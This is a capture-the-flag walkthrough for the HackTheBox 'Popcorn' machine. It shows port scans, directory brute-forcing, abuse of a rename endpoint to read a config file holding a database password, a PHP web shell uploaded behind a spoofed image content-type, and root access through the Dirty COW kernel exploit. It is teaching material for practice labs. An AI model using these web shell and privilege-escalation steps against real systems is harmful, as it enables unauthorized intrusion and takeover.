Popcorn

HackTheBox

GoProSlowYo

2021-09-14

Contents

Popcorn

Enumeration

Rustscan/Nmap:

```
$ sudo rustscan -b 8192 -u 16384 -a 10.10.10.6 -- -sS -sV -sC -oN
    10.10.10.6.$(basename $PWD).nmap.txt
# Nmap 7.80 scan initiated Mon Sep 13 23:51:34 2021 as: nmap -vvv -p
    22,80 -sS -sV -sC -oN 10.10.10.6.popcorn.nmap.txt 10.10.10.6
Nmap scan report for popcorn.htb (10.10.10.6)
Host is up, received echo-reply ttl 63 (0.11s latency).
Scanned at 2021-09-13 23:51:34 PDT for 13s

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 5.1p1 Debian 6ubuntu2 (
    Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 3e:c8:1b:15:21:15:50:ec:6e:63:bc:c5:6b:80:7b:38 (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAIAn8zzHM1eVS/OaLgV6dgOKaT+
    kyvjU0pMUqZJ3AgvyOrxHa2m+ydNk8cixF9lP3Z8gLwquTxJDuNJ05xnz9/
    DzZClqfNfiqrZRACYXsquSAab512kkl+
    X6CexJYcDVK4qyuXRSEgp4OFY956Aa3CCL7TfZxn+
    N57WrsBoTEb9PAAAAFQDMosEYukWOzwL00PlxxLC+lBadWQAAAIAhp9/
    JSROW1jeMX4hCS6Q/M8D1UJYyat9aXoHKg8612mSo/OH8Ht9ULA2vrt06lxoC3O8/1
    pVD8oztKdJgfQlWW5fLujQajJ+nGVrwGvCRkNjcI0Sfu5zKow+
    mOG4irtAmAXwPoO5IQJmP0WOgkr+3
    x8nWazHymoQlCUPBMlDPvgAAAIBmZAfIvcEQmRo8Ef1RaM8vW6FHXFtKFKFWkSJ42XTl3opaSsLaJrgv
    +wc4bZbrFc4YGsPc+kZbvXN3iPUvQqEldak3yUZRRL3hkF3g3iWjmkpMG/
    fxNgyJhyDy5tkNRthJWWZoSzxS7sJyPCn6HzYvZ+lKxPNODL+TROLkmQ==
|   2048 aa:1f:79:21:b8:42:f4:8a:38:bd:b8:05:ef:1a:07:4d (RSA)
|_ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyBXr3xI9cjrxMH2+
    DB7lZ6ctfgrek3xenkLLv2vJhQQpQ2ZfBrvkXLsSjQHHwgEbNyNUL+
    M1OmPFaUPTKiPVP9co0DEzq0RAC+/
    T4shxnYmxtACC0hqRVQ1HpE4AVjSagfFAmqUvyvSdbGvOeX7WC00SZWPgavL6pVq0qdRm3H22zIVw
    /Ty9SKxXGmN0qOBq6Lqs2FG8A14fJS9F8GcN9Q7CVGuSIO+UUH53KDOI+
    vzZqrFbvfz5dwClD19ybduWo95sdUUq/ECtoZ3zuFb6ROI5JJGNWFb6NqfTxAM43+
    ffZfY28AjB1QntYkezb1Bs04k8FYxb5H7JwhWewoe8xQ==
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.2.12 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.12 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at
    https://nmap.org/submit/ .
# Nmap done at Mon Sep 13 23:51:47 2021 -- 1 IP address (1 host up)
    scanned in 13.67 seconds
```

Port 22

Nothing to do here yet. Enumerate futher.

Port 80

The webpage didn't seem to show much so I used Feroxbuster to find more things to explore.

```
$ feroxbuster -t 100 -u http://10.10.10.6 --wordlist /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt
[...snip...]
http://10.10.10.6/rename
http://10.10.10.6/torrent
[...snip...]
```

`/rename` was interesting and let me essentially perform `mv oldfile newfile` via a `GET` request. I used it to grab `/var/www/torrent/config.php` and we got a database username and password (`SuperSecret!!`) but not much else is useful here.

And, `/torrent` looks interesting as well…

Foothold

1. Create account on /torrent site.
2. Upload torrent.
3. Change image of newly uploaded torrent to php web shell – capture upload w/ ZAP or Burp.

   `<?php system($_REQUEST['c']);?>`
4. Replay "image" upload with content-type changed to "image/jpeg" to bypass a basic filter.
5. Browse to /torrent/upload/random-image-url.php?c=id for code exec.

Privilege Escalation

1. Privesc to root with dirtyc0w since this b0x is s0 damn 0ld.

```
$ gcc -pthread dirty.c -o dirty -lcrypt #exploit creates new user firefart :)
$ ./dirty r00t & ; sleep 5 # with our desired password
$ su firefart # become firefart user.
# cat /root/root.txt
congratulations!
```